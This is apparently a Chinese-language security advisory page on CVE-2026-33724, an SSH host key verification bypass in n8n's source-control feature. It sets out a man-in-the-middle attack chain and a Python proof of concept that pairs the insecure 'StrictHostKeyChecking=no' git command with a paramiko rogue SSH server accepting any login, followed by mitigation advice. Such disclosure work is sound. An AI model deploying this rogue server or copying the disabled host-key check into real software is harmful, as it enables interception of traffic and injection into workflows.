IPBUF安全漏洞报告
English
CVE-2026-33724 CVSS 7.4 高危

CVE-2026-33724 n8n SSH主机密钥验证绕过漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-33724
漏洞类型
SSH主机密钥验证绕过
CVSS评分
7.4 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
n8n

相关标签

中间人攻击SSH配置错误n8nCVE-2026-33724

漏洞概述

n8n在2.5.0版本之前,当源代码控制功能配置使用SSH时,用于git操作的SSH命令显式禁用了主机密钥验证。位于n8n实例与Git服务器之间的网络攻击者可拦截连接并出示欺诈性主机密钥,从而向工作流中注入恶意内容或拦截数据。

技术细节

该漏洞源于n8n在配置SSH作为源代码控制传输方式时,构建的SSH命令中包含禁用主机密钥检查的参数(如`StrictHostKeyChecking=no`)。这导致客户端不验证远程Git服务器的真实身份。攻击者需处于网络中间位置(如ARP欺骗、DNS劫持等),当n8n尝试连接Git服务器时,攻击者可拦截连接并伪装成合法服务器。由于缺乏主机密钥验证,n8n会接受攻击者提供的伪造密钥并建立连接。随后,攻击者可利用git协议向工作流中注入恶意代码或窃取仓库敏感数据。

攻击链分析

STEP 1
1. 环境侦察
攻击者发现目标使用n8n平台,并确认其启用了源代码控制功能且配置为SSH模式。
STEP 2
2. 网络劫持
攻击者通过ARP欺骗、DNS投毒或其他手段将自己置于n8n实例与远程Git服务器之间的网络路径上。
STEP 3
3. 中间人拦截
当n8n尝试通过SSH连接Git服务器时,攻击者拦截连接请求,并伪装成Git服务器向n8n发送响应。
STEP 4
4. 绕过验证
由于n8n的SSH配置禁用了主机密钥验证(StrictHostKeyChecking=no),n8n接受攻击者提供的 fraudulent host key 并建立连接。
STEP 5
5. 恶意操作
攻击者利用建立的信任连接,向n8n的工作流中注入恶意代码,或者拦截并窃取通过git传输的敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Concept: Demonstration of the vulnerable SSH command behavior # In n8n < 2.5.0, the system would effectively execute a git command similar to this: import subprocess # This simulates how the vulnerable command ignores host key verification vulnerable_command = [ "git", "-c", "core.sshCommand=ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null", "pull", "origin", "master" ] print("Simulating vulnerable git pull operation without host key checking...") # subprocess.run(vulnerable_command) # Actual execution commented out for safety # To exploit this, an attacker would set up a rogue SSH server (Man-in-the-Middle). # Below is a Python script using paramiko to simulate a rogue server accepting the connection. import socket import paramiko import threading # Generate a test key for the rogue server: `ssh-keygen -f test_rsa.key -t rsa -N ''` HOST_KEY = paramiko.RSAKey(filename='test_rsa.key') class RogueSSHServer(paramiko.ServerInterface): def check_channel_request(self, kind, chanid): if kind == 'session': return paramiko.OPEN_SUCCEEDED return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED def check_auth_password(self, username, password): # Accept any authentication attempt to simulate the exploit return paramiko.AUTH_SUCCESSFUL def start_rogue_server(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('0.0.0.0', 2222)) sock.listen(100) print('[+] Rogue SSH server listening on port 2222...') client, addr = sock.accept() print(f'[+] Connection intercepted from: {addr}') t = paramiko.Transport(client) t.add_server_key(HOST_KEY) server = RogueSSHServer() try: t.start_server(server=server) except Exception as e: print(f'[-] Server start failed: {e}') # In a real attack scenario, the attacker would also need to handle the git protocol # to serve malicious commits or capture pushed data. # start_rogue_server()

影响范围

n8n < 2.5.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用源代码控制功能(若业务允许)。或者严格限制网络访问,确保n8n实例仅通过受信任的、受控的网络路径(如VPN或专用隧道)与Git服务器通信,以降低中间人攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表